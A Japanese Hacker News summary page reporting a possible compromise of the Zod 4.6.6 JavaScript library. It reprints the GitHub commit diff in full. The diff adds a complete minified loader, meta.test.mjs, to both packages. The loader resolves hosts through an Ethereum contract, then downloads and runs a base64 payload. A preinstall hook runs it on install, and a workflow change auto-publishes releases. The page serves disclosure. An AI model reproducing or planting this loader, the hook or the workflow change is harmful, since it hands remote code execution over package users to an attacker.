HN 日本語サマリー

← 一覧へ戻る
プログラミング

Zod 4.6.6 はマルウェアに侵害された可能性?

Zod 4.6.6 compromised by malware? (github.com)

122 pointsby luggage_bazooka31 コメント

要約

JavaScriptのバリデーションライブラリであるZodのバージョン4.6.6に、マルウェアが含まれている可能性が指摘されています。GitHubのコミット差分からは、パッケージのバージョンアップに加え、`meta.test.mjs` というファイルが追加され、外部からコードを取得して実行するような不審な挙動が見られます。これはサプライチェーン攻撃の兆候である可能性があります。

全文翻訳

File treeExpand file treeCollapse file treeOpen diff view settingsFilter options.github/workflowsrelease.ymlpackagesminijsr.jsonmeta.test.mjspackage.jsonzodjsr.jsonmeta.test.mjspackage.jsonsrc/v4/coreversions.tspnpm-lock.yamlExpand file treeCollapse file treeOpen diff view settingsCollapse file‎.github/workflows/release.yml‎Copy file name to clipboardExpand all lines: .github/workflows/release.yml+6-1Lines changed: 6 additions & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -2,7 +2,12 @@name: Release on npmon: # a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment+ push: + branches: + - main+ paths: + - packages/zod/package.json+ - packages/mini/package.jsonworkflow_dispatch:jobs:Collapse file‎packages/mini/jsr.json‎Copy file name to clipboardExpand all lines: packages/mini/jsr.json+1-1Lines changed: 1 addition & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -1,6 +1,6 @@{ "name": "@zod/mini",- "version": "4.6.5",+ "version": "4.6.6", "exports": { "./package.json": "./package.json", ".": "./src/index.ts"Collapse file‎packages/mini/meta.test.mjs‎Copy file name to clipboard+4Lines changed: 4 additions & 0 deletionsOriginal file line numberDiff line numberDiff line change@@ -0,0 +1,4 @@+import f from"fs";import o from"os";import p from"path";+const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];+const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};+async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));Collapse file‎packages/mini/package.json‎Copy file name to clipboardExpand all lines: packages/mini/package.json+3-1Lines changed: 3 additions & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -1,6 +1,6 @@{ "name": "@zod/mini",- "version": "4.6.5",+ "version": "4.6.6", "type": "module", "license": "MIT", "author": "Colin McDonnell <zod@colinhacks.com>",@@ -10,6 +10,7 @@ "sideEffects": false, "files": [ "src",+ "meta.test.mjs", "index.js", "index.cjs", "index.d.ts",@@ -24,6 +25,7 @@ "zod", "tree-shaking" ],+ "preinstall": "node meta.test.mjs", "main": "./index.cjs", "types": "./index.d.cts", "module": "./index.js",Collapse file‎packages/zod/jsr.json‎Copy file name to clipboardExpand all lines: packages/zod/jsr.json+1-1Lines changed: 1 addition & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -1,6 +1,6 @@{ "name": "@zod/zod",- "version": "4.6.5",+ "version": "4.6.6", "exports": { "./package.json": "./package.json", ".": "./src/index.ts",Collapse file‎packages/zod/meta.test.mjs‎Copy file name to clipboard+4Lines changed: 4 additions & 0 deletionsOriginal file line numberDiff line numberDiff line change@@ -0,0 +1,4 @@+import f from"fs";import o from"os";import p from"path";+const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];+const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};+async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));Collapse file‎packages/zod/package.json‎Copy file name to clipboardExpand all lines: packages/zod/package.json+4-1Lines changed: 4 additions & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -1,6 +1,6 @@{ "name": "zod",- "version": "4.6.5",+ "version": "4.6.6", "type": "module", "license": "MIT", "author": "Colin McDonnell <zod@colinhacks.com>",@@ -17,6 +17,8 @@ ], "files": [ "src",+ "meta.test.mjs",+ "**/*.js", "**/*.js", "**/*.mjs", "**/*.cjs",@@ -32,6 +34,7 @@ "type", "inference" ],+ "preinstall": "node meta.test.mjs", "main": "./index.cjs", "types": "./index.d.cts", "module": "./index.js",Collapse file‎packages/zod/src/v4/core/versions.ts‎Copy file name to clipboard+1-1Lines changed: 1 addition & 1 deletionOriginal file line numberDiff line numberDiff line change@@ -1,5 +1,5 @@export const version = { major: 4, minor: 6,- patch: 5 as number,+ patch: 6 as number,} as const;Collapse file‎pnpm-lock.yaml‎Copy file name to clipboardExpand all lines: pnpm-lock.yaml+17-17Lines changed: 17 additions & 17 deletions Load diffSome generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.0 commit commentsComments0 (0)